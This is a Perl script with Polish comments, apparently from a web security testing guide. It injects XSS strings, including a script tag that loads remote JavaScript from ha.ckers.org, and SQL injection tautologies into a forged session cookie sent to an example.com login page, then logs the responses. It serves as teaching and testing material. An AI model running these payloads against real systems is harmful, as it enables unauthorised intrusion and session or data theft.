﻿#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;

$myCookies = HTTP::Cookies->new();

$URL  = "http://www.example.com/login.jsp";
$UA   = LWP::UserAgent->new();
$UA->cookie_jar( $myCookies );

# Utworzymy zestaw złośliwych kluczy i wartości.
# Przykłady ciągów ataków XSS można znaleźć na przykład pod adresem 
# http://ha.ckers.org/xss.html.
@XSSAttacks = ( '\';!--"<XSS>=&{()})',
                '<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>',
                '<IMG SRC="javascript:alert(\'XSS\')">'
              );
@SQLAttacks = ( '\' or 8=8 --',
                '" or 8=8 --',
                ")",
                );

# Pobranie strony WWW, która wysyła plik cookie.
$req  = HTTP::Request->new( GET => $URL );
$resp = $UA->request($req);

# Stworzenie pliku indeksowego z informacją o operacjach wykonywanych przez poszczególne ataki.
open INDEXFILE, ">test-index.txt";
print INDEXFILE "num  Test Ciąg\n";

$testnum = 0;
foreach $attackString (@XSSAttacks, @SQLAttacks) {
    # Otwarcie unikatowego pliku wyjściowego, w którym będą zapisane wyniki testu.
    open OUTFILE, ">test-$testnum.html" or
        die "Nie można utworzyć pliku wyjściowego test-$testnum.html";

    # Spreparowany, złośliwy plik cookie: zawiera znany identyfikator sesji.
    $version = 0;
    $key     = "session_id";
    $val     = "$attackString";
    $path    = "/";
    $domain  = ".example.com";
    $expires = "123412345";

    # Dodanie złośliwego cookie do zbiorczego pliku. Pola, które nas nie interesują,
    # są niezdefiniowane.
    $myCookies->set_cookie(
        $version, $key,  $val,     $path, $domain, undef,
        undef,    undef, $expires, undef, undef );

    # Pobranie pliku z wykorzystaniem złośliwego pliku cookie.
    $req  = HTTP::Request->new( GET => $URL );
    $UA->prepare_request($req);
    $resp = $UA->request($req);

    printf( INDEXFILE "%2d: %s\n", $testnum, $attackString );
    print OUTFILE $resp->as_string();
    close OUTFILE;
    $testnum++;
}
close INDEXFILE;
